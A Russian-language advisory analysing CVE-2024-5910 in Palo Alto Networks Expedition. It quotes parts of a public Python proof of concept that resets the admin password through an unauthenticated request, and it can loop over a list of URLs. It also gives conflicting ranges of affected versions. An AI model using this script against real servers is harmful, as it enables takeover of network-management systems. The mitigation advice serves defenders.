
Уязвимость BDU:2024-06369 (CVE-2024-5910) в Palo Alto Networks Expedition
BDU:2024-06369 (CVE-2024-5910) – это критическая уязвимость (CVSS score: 9.8) в инструменте миграции конфигурации Palo Alto Networks Expedition, затрагивающая версии с 1.2 до 1.2.92. Она связана с отсутствием аутентификации для критически важной функции, позволяющей злоумышленникам с сетевым доступом к Expedition захватить учетную запись администратора.
Технический анализ уязвимости
Expedition содержит скрипт restoreAdmin.php
, который позволяет восстановить пароль администратора до значения по умолчанию ("paloalto"). Проблема в том, что этот скрипт доступен без какой-либо аутентификации. Злоумышленник, имеющий доступ к сети, где работает Expedition, может просто отправить GET-запрос к этому скрипту и сбросить пароль администратора.
Условия эксплуатации
- Сетевой доступ: Злоумышленник должен иметь сетевой доступ к серверу, на котором работает Expedition. Это может быть внутренняя сеть организации или, в некоторых случаях, доступ через интернет, если панель управления Expedition не защищена должным образом.
- Уязвимая версия Expedition: На сервере должна быть установлена уязвимая версия Expedition (от 1.2 до 1.2.91 включительно).
- Отсутствие дополнительных мер защиты: Если администратор предпринял дополнительные меры для защиты панели управления Expedition (например, ограничил доступ по IP-адресам или использовал VPN), эксплуатация уязвимости может быть затруднена.
Технический анализ эксплоита
В общем доступе имеется код на Python, который представляет собой Proof-of-Concept (PoC) для эксплуатации BDU:2024-06369 (CVE-2024-5910). Рассмотрим ключевые моменты его работы:
warnings.simplefilter("ignore", InsecureRequestWarning)
ENDPOINT = '/OS/startup/restore/restoreAdmin.php'
Этот блок кода определяет константу ENDPOINT
, которая указывает на уязвимый скрипт restoreAdmin.php
. Важно отметить, что используется библиотека requests
для отправки HTTP-запросов.
def send_request(base_url):
url = f"{base_url}{ENDPOINT}"
print(f"Testing URL: {url}")
try:
response = requests.get(url, verify=False, timeout=7)
if response.status_code == 200:
print("✓ Admin password restored to: 'paloalto'\n")
print("✓ admin panel is now accessable via ==> admin:paloalto creds")
else:
print(f"Request failed with status code: {response.status_code}\n")
except requests.exceptions.RequestException as e:
print(f"Error sending request to {url}") #{e}
Функция send_request
формирует URL-адрес уязвимого скрипта и отправляет к нему GET-запрос. Обратите внимание на verify=False
, который отключает проверку SSL-сертификата, что может быть небезопасно. Если сервер возвращает код ответа 200, это означает, что пароль администратора успешно сброшен.
Функция main
обрабатывает аргументы командной строки, позволяя указать либо один URL-адрес, либо файл со списком URL-адресов для проверки. Это позволяет автоматизировать процесс эксплуатации уязвимости на нескольких серверах.
Последствия успешной эксплуатации
Успешная эксплуатация BDU:2024-06369 (CVE-2024-5910) позволяет злоумышленнику получить полный контроль над Expedition. Это может привести к следующим последствиям:
- Компрометация конфигурационных секретов и учетных данных, хранящихся в Expedition.
- Несанкционированное изменение конфигурации сетевых устройств, управляемых Expedition.
- Использование Expedition для дальнейших атак на инфраструктуру организации.
Способы защиты
- Обновление Expedition до актуальной версии: Palo Alto Networks выпустила исправление для этой уязвимости в версии 1.2.92. Обновите Expedition до последней версии, чтобы устранить уязвимость.
- Ограничение сетевого доступа к Expedition: Ограничьте доступ к панели управления Expedition только с доверенных IP-адресов или сетей.
- Использование надежных паролей: Даже после обновления Expedition рекомендуется сменить пароль администратора на надежный и уникальный.
- Мониторинг активности: Внимательно отслеживайте активность в Expedition на предмет подозрительных действий.
- Регулярное резервное копирование: Регулярно создавайте резервные копии конфигурации Expedition, чтобы в случае компрометации можно было быстро восстановить систему.
- Изоляция: Рассмотрите возможность изоляции Expedition в выделенном VLAN для ограничения потенциального воздействия в случае взлома.
- Аудит безопасности: Проведите аудит безопасности Expedition, чтобы выявить другие потенциальные уязвимости.
